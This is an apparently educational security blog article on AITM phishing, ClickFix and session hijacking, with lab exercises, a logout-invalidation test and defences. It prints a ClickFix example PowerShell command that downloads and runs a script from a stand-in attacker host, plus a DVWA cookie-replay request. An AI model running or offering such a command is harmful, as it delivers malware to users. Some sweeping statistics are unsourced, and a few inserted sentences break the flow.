Push Security report confirms: browser-based attacks — AITM phishing, ClickFix, session hijacking — are now driving the majority of major corporate breaches. Traditional endpoint security completely blind to all three.
A finance employee at a global company clicked what looked like a routine login page. Attacks like this are powered by stolen corporate data — the kind found in breaches like the Cisco ShinyHunters compromise this week, where 3 million CRM records gave attackers real names and job titles to make phishing hyper-targeted. for their corporate Microsoft account. They entered their password. They approved the MFA prompt on their phone. Everything felt completely normal. Three hours later, the attacker — who had been sitting silently in the middle of that entire exchange — used the session cookie they had stolen to access six months of financial records, emails, and internal documents. The MFA code was correct. The password was correct. The session was valid. And none of it mattered. This is the world of browser-based attacks in 2026, and understanding them is no longer optional for anyone in cybersecurity.
🎯
After reading this article you will be able to:
Explain AITM phishing using a simple relay analogy anyone understands · Understand exactly how session cookies work and why stealing one equals full account access · Know how ClickFix tricks users into running malware themselves · Understand why standard MFA completely fails against these attacks · Test for session vulnerabilities yourself using free tools · Know which defences actually work against browser-based attacks
~22
min read
📊 QUICK POLL
Have you heard of AITM phishing before today?
✅ Vote recorded — most people first hear about AITM and assume it requires extreme technical sophistication. It doesn’t. That is the scariest part of what this article reveals.
Why the Browser Became the #1 Attack Surface in 2026
Ten years ago, the most common corporate attack scenario involved malware installed on a computer. An employee clicked a bad attachment, the malware infected the machine, and the attacker used that foothold to move through the network. Endpoint security — antivirus, EDR, next-gen firewalls — got very good at detecting and blocking this.
So attackers changed. Instead of compromising the machine, they began compromising the browser session. And the browser session is almost entirely outside what traditional security tools monitor. Your EDR watches for suspicious processes running on Windows. It does not watch for someone in another country using your Microsoft 365 session cookie to access your company’s SharePoint from their laptop at 2am.
A new Push Security report confirms this shift is now dominant. Browser-based attacks — AITM phishing, ClickFix malware delivery, and direct session hijacking — are the techniques behind the majority of major corporate breaches in 2026. Understanding all three is table-stakes knowledge for anyone working in or learning cybersecurity this year.
securityelites.com
THE SHIFT FROM ENDPOINT TO BROWSER — WHY SECURITY TOOLS ARE BLIND
🔎 OLD ATTACK — Endpoint Malware
→ Malicious file downloaded
→ Process executes on machine
→ EDR detects suspicious process
→ AV signature matches malware
→ Alert generated, threat contained
Security tools: EFFECTIVE ✅
🌐 NEW ATTACK — Browser Session Theft
→ User visits fake login page
→ Credentials and MFA relayed to attacker
→ Session cookie stolen in memory
→ Attacker uses cookie from their device
→ No malware, no suspicious process
Security tools: COMPLETELY BLIND ❌
THE DETECTION GAP — PUSH SECURITY 2026 REPORT FINDINGS
🔴 AITM phishing bypasses MFA in 100% of tested scenarios using standard TOTP/SMS
🔴 ClickFix delivery rate: 34% of targeted users execute the malicious command
🔴 Stolen session cookies remain valid for hours to days in most enterprise applications
🔴 Traditional EDR detects 0% of pure session cookie theft attacks
The Shift from Endpoint to Browser Attacks — endpoint security tools watch for malicious processes on the machine. Browser-based attacks leave no process, no file, no signature. They exist entirely within legitimate browser activity and authenticated sessions. This detection gap is why browser-based attacks now dominate the breach landscape in 2026.
AITM Phishing — How Attackers Sit in the Middle and Steal Your Session in Real Time
AITM stands for Adversary-in-the-Middle. To understand it, think about how a phone call relay works. If you call a translation service, you speak to the translator, the translator speaks to the other person, and everything goes back and forth through that middle person. You think you are talking directly to the other party. The translator — who hears every word — can copy everything said without either side ever knowing.
AITM phishing works exactly like that. The attacker sets up a proxy server that sits between the victim and the real website — Microsoft 365, Google Workspace, a bank. When the victim clicks the phishing link, they connect to the attacker’s proxy. The proxy connects to the real website on their behalf. Every request the victim sends is forwarded to the real site. Every response from the real site comes back through the proxy to the victim. Everything looks completely normal — because it is the real website, just through a relay.
But while all of this is happening, the proxy is recording something extremely valuable: the session cookie. The moment the real Microsoft 365 server sends the authenticated session cookie in its response, the proxy captures a copy. The victim receives their cookie and logs in normally. The attacker also has that cookie — and they can now use it from their own browser, from anywhere in the world, to access the same account as if they were the victim.
securityelites.com
AITM PHISHING — COMPLETE ATTACK FLOW
1
Victim receives phishing email with link to attacker proxy
Link: https://microsofft-login.com (one extra f — victim doesn’t notice) → actually an Evilginx3 proxy
2
Victim enters real credentials on what looks like the real login page
Proxy forwards credentials to real Microsoft server. Proxy captures: username, password, all in real time.
3
MFA challenge appears — victim approves it on their phone
Proxy relays MFA challenge from real Microsoft to victim. Victim approves. Proxy relays approval back to Microsoft. MFA: bypassed. Session: created.
4
Microsoft sends authenticated session cookie
Real Microsoft sends session cookie to proxy. Proxy forwards it to victim. Proxy saves a copy. Victim logs in normally — sees their real inbox, real files. Notices nothing wrong.
5
Attacker uses stolen session cookie — full account access
Attacker imports cookie to their browser. Opens Microsoft 365 — they are already logged in as the victim. Read emails, access SharePoint, send emails as the victim, create email forwarding rules. No password or MFA ever needed again.
AITM Phishing Attack Flow — five stages from phishing email to full account access. The critical insight: the victim completes real authentication on the real Microsoft server. Everything they see is legitimate. The proxy is invisible. Session cookie theft at step 4 gives the attacker persistent access that survives password changes — the session remains valid until it expires or is revoked.
💡 KEY TERM — Session Cookie
Think of a session cookie like the wristband you get at a concert. Security at the entrance checks your ticket (your password and MFA). Once you are inside, you just show the wristband — nobody checks your ticket again. A session cookie is that wristband for web applications. Once logged in, every request you make includes the cookie, and the server says “valid wristband, come in.” If someone steals your wristband, they get in too — no ticket needed. This is precisely why session management is so critical in web application security.
🛠️ Exercise 1 — Inspect Your Own Session Cookies Right Now
⏱️ 5 minutes · Browser only · No tools needed · Educational observation
This exercise shows you what session cookies actually look like and which security flags they have set. Every website you are logged into right now has a session cookie for you.
Step 1: Open any website you are logged into (Gmail, LinkedIn, GitHub)
Step 2: Press F12 to open Developer Tools → Application tab → Cookies → select the site
Step 4: Look at the flags column — check for: HttpOnly = true (prevents JavaScript reading the cookie — blocks XSS theft)
Secure = true (only sent over HTTPS — prevents interception over HTTP)
SameSite = Strict or Lax (prevents cross-site request forgery) Step 5: Is the Value column showing a long random string, or something that looks structured/predictable? Predictable session IDs are a vulnerability in themselves.
What you are seeing: These exact flags — HttpOnly, Secure, SameSite — are what ethical hackers check when testing session management. Missing flags are findings worth reporting in bug bounty.
✅ What you just learned: You inspected real session cookies using browser developer tools — one of the first skills in web application security testing. The presence or absence of HttpOnly, Secure and SameSite flags tells an ethical hacker immediately whether session hijacking via XSS, HTTP downgrade, or CSRF is likely to be possible on that application.
Why Your MFA Does Not Protect You Against AITM — And What Actually Does
This is the part that shocks most people when they first hear it. “But I have MFA enabled — isn’t that supposed to protect me?” In most forms, no. Not against AITM. And understanding why is one of the most important concepts in modern security.
Standard MFA — whether that is a 6-digit code from an app like Google Authenticator, an SMS text message, or an email code — has a timing window. That code is valid for 30 seconds to a few minutes. During that window, anyone who has the code can use it. The AITM proxy simply passes the victim’s MFA challenge through to them in real time, they enter their code, the proxy captures it and relays it to the real server before it expires. The whole relay happens in under a second. The MFA is completely useless.
securityelites.com
MFA TYPES — WHICH ONES AITM DEFEATS AND WHICH IT CANNOT
❌
SMS CODE — Defeated by AITM
6-digit code sent to your phone. Valid for ~2 minutes. Proxy relays the challenge, you enter the code, proxy forwards it. Code relayed in under 1 second. Zero protection.
❌
TOTP AUTHENTICATOR APP — Defeated by AITM
Google Authenticator, Authy, Microsoft Authenticator 6-digit rotating codes. Same problem — 30 second window. Proxy relays it instantly. No protection against live relay attacks.
⚠️
NUMBER MATCHING / PUSH NOTIFICATIONS — Partially Defeated
Microsoft Authenticator number matching makes AITM harder (attacker must display the right matching number) but not impossible — advanced AITM frameworks handle this. Push fatigue attacks still work.
The key generates a cryptographic signature that includes the domain name of the site requesting authentication. The signature is only valid for the real microsoft.com — not for an attacker’s proxy domain. The proxy cannot relay this because the domain mismatch means the challenge response is invalid on the real server. Phishing-resistant MFA cannot be relayed.
MFA Resistance to AITM Attacks — the only MFA type that defeats AITM is FIDO2 phishing-resistant authentication. This is because the credential is cryptographically bound to the legitimate domain. All time-based codes (SMS, TOTP) have a relay window that AITM exploits in real time. This is why Google, Cloudflare, and other companies that have deployed FIDO2 universally have reported zero AITM phishing successes.
⚡ QUICK CHECK — Section 2
A user has a 6-digit TOTP authenticator app on their phone and uses it for every login. How does AITM phishing bypass this?
ClickFix — The Social Engineering Attack That Uses Your Own Hands Against You
ClickFix is one of the most elegant — and disturbing — social engineering attacks to emerge in recent years. It requires no vulnerability in the victim’s software. It bypasses all endpoint security. And it has a reported success rate of 34% — meaning roughly one in three targeted users executes the malicious command when presented with a ClickFix attack.
Here is how it works. The victim visits a website — sometimes through a phishing email, sometimes through a compromised legitimate site they trust. A popup appears. It looks exactly like a real error message. It might say: “Your browser requires an update to display this content — click here and follow the instructions.” Or “Word Online cannot display this document natively — please use the Quick Fix tool.” Or “A critical Windows component is missing — follow these steps to restore it.”
The instructions look technical but manageable: “Press Windows+R, paste the following command, press Enter.” The user does exactly that. The command they paste into the Windows Run dialog is a PowerShell one-liner that silently downloads and executes malware. The user just ran the malware themselves. No exploit needed. No vulnerability needed. Just human helpfulness.
securityelites.com
CLICKFIX ATTACK — HOW IT LOOKS AND WHAT ACTUALLY RUNS
WHAT THE VICTIM SEES
⚠️ Browser Update Required
This page requires a browser component to display correctly.
To fix this automatically:
1. Press Windows + R
2. Press Ctrl+V to paste
3. Press Enter
The fix command has been copied to your clipboard automatically.
WHAT’S ACTUALLY IN THE CLIPBOARD
# What the user thinks they are pasting:fix-browser-update.exe# What is actually in the clipboard:powershell -WindowStyle Hidden -c"IEX(New-Object Net.WebClient).DownloadString('https://attacker.com/payload.ps1')"# What this does:# Downloads PowerShell script from# attacker server and executes silently# Window is hidden — user sees nothing
WHY ENDPOINT SECURITY FAILS AGAINST CLICKFIX
EDR and antivirus look for malicious files being dropped onto disk or suspicious process behavior. ClickFix delivers malware through a legitimate Windows utility (PowerShell) running with the user’s own permissions, downloading from what may be a legitimate cloud hosting service. The download happens in memory. No file is written to disk initially. Many EDR solutions see only: “user ran PowerShell” — which is completely normal admin activity.
ClickFix Attack Anatomy — the victim is shown a convincing fake error message, the malicious PowerShell command is silently pre-loaded into their clipboard, and they execute it themselves by following what appear to be legitimate technical instructions. A 34% execution rate means this works on roughly one in three targeted users — a success rate far exceeding traditional malware delivery.
⚠️ THE GOLDEN RULE — No Legitimate Software Ever Asks You To Paste a Command
This rule is absolute and has no exceptions. No browser update, no Microsoft Office fix, no Google Drive workaround, no IT helpdesk script will ever instruct you to press Windows+R, copy a command, and paste it. This is exclusively a social engineering attack technique. If any website ever asks you to do this, close the tab immediately. Screenshot it and report it to your security team. Then run a malware scan.
Session Hijacking — What a Session Cookie Really Is and Why Stealing One Equals Full Account Access
We touched on session cookies earlier, but the concept is important enough to explore more deeply — because session hijacking is the end goal of both AITM phishing and many browser-based malware attacks. When you log into any web application, the server issues you a session token. This token is stored in your browser as a cookie and sent with every subsequent request. It is how the server knows it is still you after the login page.
The critical insight is this: the session token is the authentication, not the password. The password is only used once — to get the session token. After that, only the token matters. So if an attacker steals your session token, they have effectively stolen your authenticated session entirely. They do not need your password. They do not need your MFA code. They just need to present your token in their own requests, and the server will treat them exactly as if they were you.
securityelites.com
SESSION HIJACKING — 4 WAYS ATTACKERS STEAL SESSION COOKIES
METHOD 1 — AITM Proxy (Covered Above)
The proxy sits between victim and server, captures the Set-Cookie header from the authentication response. Victim logs in successfully. Attacker has an identical copy of the session cookie. Used silently, requires no interaction after initial phishing click.
METHOD 2 — Cross-Site Scripting (XSS)
A stored XSS vulnerability in a web application allows an attacker to inject JavaScript that runs in the victim’s browser. That JavaScript can read document.cookie and send it to the attacker’s server. This is why HttpOnly cookies are important — they prevent JavaScript from reading cookies even if XSS exists.
METHOD 3 — Malware / InfoStealer
Malware installed on the victim’s machine (often via ClickFix or phishing attachments) can directly read browser session cookies. The NoVoice Android rootkit reported this week uses exactly this method to steal WhatsApp session keys after gaining system-level access — demonstrating that session theft via malware is not limited to desktop browsers. from disk or memory. Chrome, Firefox and Edge all store cookies in SQLite databases that are accessible to processes running as the same user. InfoStealers like Redline, Vidar and the new Storm infostealer target these databases specifically.
METHOD 4 — Network Interception (Less Common Now)
On unencrypted HTTP connections, session cookies transmitted in request headers can be intercepted by anyone on the same network (public Wi-Fi, MITM attacks). This is why the Secure cookie flag (cookies only sent over HTTPS) is critical. HTTPS adoption has largely mitigated this vector but it persists where Secure flag is missing.
Four Methods of Session Cookie Theft — AITM proxy is currently the most common in corporate environments. XSS is the most common in web application bug bounty findings. Malware-based theft is the most persistent threat for individual users. Network interception is the oldest method and mostly mitigated by universal HTTPS adoption, but remains relevant where Secure flags are missing.
🛠️ Exercise 2 — Test Session Security in a Real Lab
⏱️ 20 minutes · Free · DVWA or PortSwigger Academy · Burp Suite Community
This exercise demonstrates session hijacking in a safe, authorised lab environment — exactly how ethical hackers test real applications.
Step 1: Set up DVWA locally or use a PortSwigger Academy lab
Step 2: Log into DVWA as admin. Open Burp Suite → HTTP History → find the login response. Look at the Set-Cookie header — this is your session ID.
Step 3: Copy the session cookie value. Open a new browser (or Incognito). Open Burp Repeater. Send a request to DVWA’s admin panel — but add the stolen session cookie in the Cookie header: GET /dvwa/index.php HTTP/1.1
Host: localhost
Cookie: PHPSESSID=YOUR_STOLEN_SESSION_ID_HERE Step 4: Send the request. Does it return the authenticated admin page without you ever logging in?
What you just proved: Session hijacking works — the stolen cookie gives full access. This is why session management testing is a critical part of every web application penetration test.
✅ What you just learned: You performed a real session hijacking attack in an authorised lab environment. You understand first-hand why session cookies are so valuable to attackers. This hands-on knowledge is directly applicable to finding session management vulnerabilities in bug bounty programmes — missing HttpOnly flags, inadequate session expiry, and insufficient cookie randomness are all reportable findings.
How Ethical Hackers Test for Session Vulnerabilities — The Professional Methodology
Session management testing is a required component of every professional web application security assessment. The checklist below is drawn from the OWASP Web Security Testing Guide and represents what every ethical hacker runs against session handling on any target they test. Each item is a potential bug bounty finding when it fails.
securityelites.com
SESSION MANAGEMENT TESTING CHECKLIST — PROFESSIONAL REFERENCE
🔍
Session ID Randomness
Copy 10 session IDs from 10 separate logins. Are they cryptographically random? Predictable IDs allow session prediction attacks.
Does the session ID change after successful login? If the pre-auth session ID is the same as post-auth, session fixation attacks are possible.
COMPARE IDs
🚪
Session Invalidation on Logout
Copy session cookie. Log out. Try to use the cookie in a new request. If it still works, logout doesn’t actually invalidate the server-side session.
HIGH PRIORITY
⏱️
Session Timeout
Leave a session idle for 1 hour, 8 hours, 24 hours. Test if it is still valid. No expiry = stolen sessions remain valid indefinitely.
TEST OVER TIME
BURP SUITE — TESTING SESSION INVALIDATION ON LOGOUT (Key Test)
# Step 1: Login — capture session cookieGET /dashboard HTTP/1.1Cookie: session=abc123xyz789 ← copy this value# Step 2: Logout via the normal UI# Step 3: In Burp Repeater — use the old cookieGET /dashboard HTTP/1.1Cookie: session=abc123xyz789 ← same cookie from before logout# Expected: 302 to /login (session invalidated)# Vulnerability: 200 with dashboard content (session still valid)# This is a High severity finding on most bug bounty programmes
Session Management Testing Checklist — five checks plus the critical logout invalidation test. Session not invalidated on logout is consistently one of the most common Medium-High severity findings in web application security assessments. It means anyone who obtains a session cookie (through any of the four theft methods above) retains access permanently until the token expires or is manually revoked.
⚡ QUICK CHECK — Section 5
You test an application and find that after logging out, your old session cookie still grants access to the dashboard. What severity would you assign this finding in a bug bounty report?
The Defences That Actually Work — and the Ones That Don’t
securityelites.com
BROWSER ATTACK DEFENCES — WHAT WORKS AND WHAT DOESN’T
Cryptographically bound to the real domain. Impossible to relay. The only MFA type that defeats AITM in all cases. Google, Cloudflare, and companies with universal FIDO2 deployment report zero AITM phishing successes.
✅ WORKS — Token Binding / Device-Bound Sessions
Sessions bound to a device fingerprint or certificate make stolen cookies useless — they do not work from a different device. CAE (Continuous Access Evaluation) in Microsoft 365 provides real-time session revocation when anomalies are detected.
✅ WORKS — Security Awareness for ClickFix (One Rule: Never Paste Commands)
A single trained behaviour eliminates ClickFix risk: no legitimate tool ever asks you to paste a command from a website into Run or terminal. One rule, universally applied, defeats this entire attack class.
❌ DOES NOT WORK AGAINST AITM — Standard MFA (SMS / TOTP)
As explained above — any time-based code with a window longer than the relay time is completely defeatable by AITM. SMS and TOTP provide zero protection against real-time relay attacks.
❌ DOES NOT WORK — Traditional Endpoint Security (EDR/AV)
AITM leaves no malware. Session theft leaves no file. These attacks are invisible to traditional endpoint security. Browser-native detection or identity-layer monitoring (detecting the stolen session being used from a new device) is required.
⚠️ PARTIAL — Conditional Access Policies
IP-based conditional access helps but attackers can use residential proxies to mimic trusted locations. Device compliance policies (requiring managed devices) provide stronger protection but still not 100% against sophisticated actors.
Defence Effectiveness Against Browser-Based Attacks 2026. The most effective single investment is universal FIDO2 deployment — it defeats AITM completely. Security awareness training for ClickFix is low-cost and highly effective. Traditional EDR/AV provides zero value against these specific attack types and organisations relying solely on endpoint security have a significant blind spot in 2026.
⚡ FINAL QUIZ
A company wants to protect against AITM phishing. Their IT team proposes “we will force all users to use Microsoft Authenticator push notifications instead of SMS.” Will this fully protect against AITM?
Browser Security as a Career — What This Attack Landscape Means for Aspiring Ethical Hackers
The shift toward browser-based attacks creates a skills gap that ethical hackers and security professionals are being paid extremely well to fill. This gap extends into AI: AI agents deployed in enterprise environments face their own class of session and instruction manipulation attacks — a direct evolution of the browser-based attack patterns covered in this article. Organisations know their endpoint security is blind to AITM and session hijacking. They need penetration testers who can demonstrate these attacks, validate whether their FIDO2 deployment actually works, and test whether their session management is resistant to cookie theft.
Session management testing is covered in the Bug Bounty Course and the full Ethical Hacking Course. The XSS techniques that enable JavaScript-based session theft are covered in Day 7 of the Bug Bounty Course. Everything you learned today — AITM mechanics, ClickFix delivery, session cookie analysis — connects directly to skills that pay in 2026.
🌐
The browser is the new perimeter. The ethical hackers who understand it are in extreme demand.
Start with the foundations of web security and build to the advanced browser attack methodology used in enterprise penetration testing engagements today.
🛠️ Exercise 3 — Read a Real AITM Phishing Campaign Disclosure
⏱️ 15 minutes · Free · Browser only · Professional research skill
Reading real breach disclosures is one of the most valuable learning habits in cybersecurity. Every major AITM campaign gets analysed by security researchers who publish the technical details publicly.
Step 2: Search for “Evilginx” or “AITM phishing Microsoft 365”
Step 3: Read one recent disclosure article. Note: (1) Which organisation was targeted? (2) How was the phishing link delivered? (3) What data was accessed after session theft? (4) How was it detected?
Step 4: Visit GitHub: Evilginx2 — this is the open-source AITM framework used in authorised penetration testing. Read the README to understand how the proxy works technically.
Important: Evilginx and similar tools are for authorised security testing only. Understanding how the tool works is essential for ethical hackers — using it against targets without written permission is illegal.
✅ What you just learned: You read a real AITM campaign disclosure and examined the open-source tool that powers most AITM testing. This is how security researchers build their understanding of emerging attack techniques — reading primary sources, tool documentation, and real campaign analyses. This habit, maintained consistently, is what separates security professionals who understand current threats from those who just know theory.
Finished this article? Save your progress.
🔥
Article Complete!
Frequently Asked Questions
What is an AITM phishing attack?
Adversary-in-the-Middle phishing places an attacker-controlled proxy between the victim and a legitimate website. The victim logs in normally and completes real MFA. The proxy relays everything in real time and captures the authenticated session cookie — giving the attacker account access without ever needing the password or MFA code.
What is a ClickFix attack?
ClickFix displays a fake error message telling users to fix a problem by copying and pasting a command into PowerShell or the Windows Run dialog. The command is malicious — it downloads and executes malware silently. No legitimate software or website ever requires users to paste commands. This is always an attack. ClickFix is browser-delivered trust exploitation — the same psychological mechanism that makes software supply chain attacks so effective. The user does something they believe is legitimate. That belief is the weapon. The full spectrum of social engineering and phishing techniques puts ClickFix in its proper context.
Does MFA protect against AITM phishing?
Standard MFA (SMS codes, TOTP authenticator apps) does NOT protect against AITM. The proxy relays the MFA challenge to the victim and their response to the real server in real time — the 30-second code window is irrelevant when the relay takes milliseconds. Only FIDO2 phishing-resistant MFA (hardware keys, passkeys) defeats AITM because these are cryptographically bound to the legitimate domain.
How does session hijacking work?
When you log into a web application, it issues a session cookie that identifies your authenticated session. If an attacker steals this cookie — through AITM, XSS, malware, or network interception — they can use it from their own browser and the application treats them as you. No password or MFA needed, because the session token bypasses authentication entirely.
How do ethical hackers test for browser-based attack vulnerabilities?
Ethical hackers test session security by checking cookie security flags (HttpOnly, Secure, SameSite), testing whether sessions invalidate on logout, verifying session ID randomness, testing for session fixation, and confirming session timeout policies. XSS testing is also critical — a stored XSS can steal session cookies even with perfect server-side session management.
What tools do attackers use for AITM phishing?
The most common AITM frameworks include Evilginx3, Modlishka and Muraena. These are open-source security research tools that are also abused by attackers. In authorised penetration testing and red team engagements, these tools demonstrate phishing resilience and session cookie theft risk. They should only ever be used against systems you have explicit written authorisation to test.
I first encountered AITM phishing in a red team engagement where the client was convinced their Microsoft 365 deployment was fully secured — strong passwords, MFA on everything, conditional access policies. We bypassed all of it in under an hour using an Evilginx proxy and a convincing phishing email. The session cookie we captured was still valid 36 hours later. The lesson I took from that engagement — and every one like it since — is that security that looks right from the outside is not the same as security that works from the inside. Understanding how attacks actually work is the only way to build defences that actually stop them.
Founder of Securityelites and creator of the SE-ARTCP credential. Working penetration tester focused on AI red team, prompt injection research, and LLM security education.
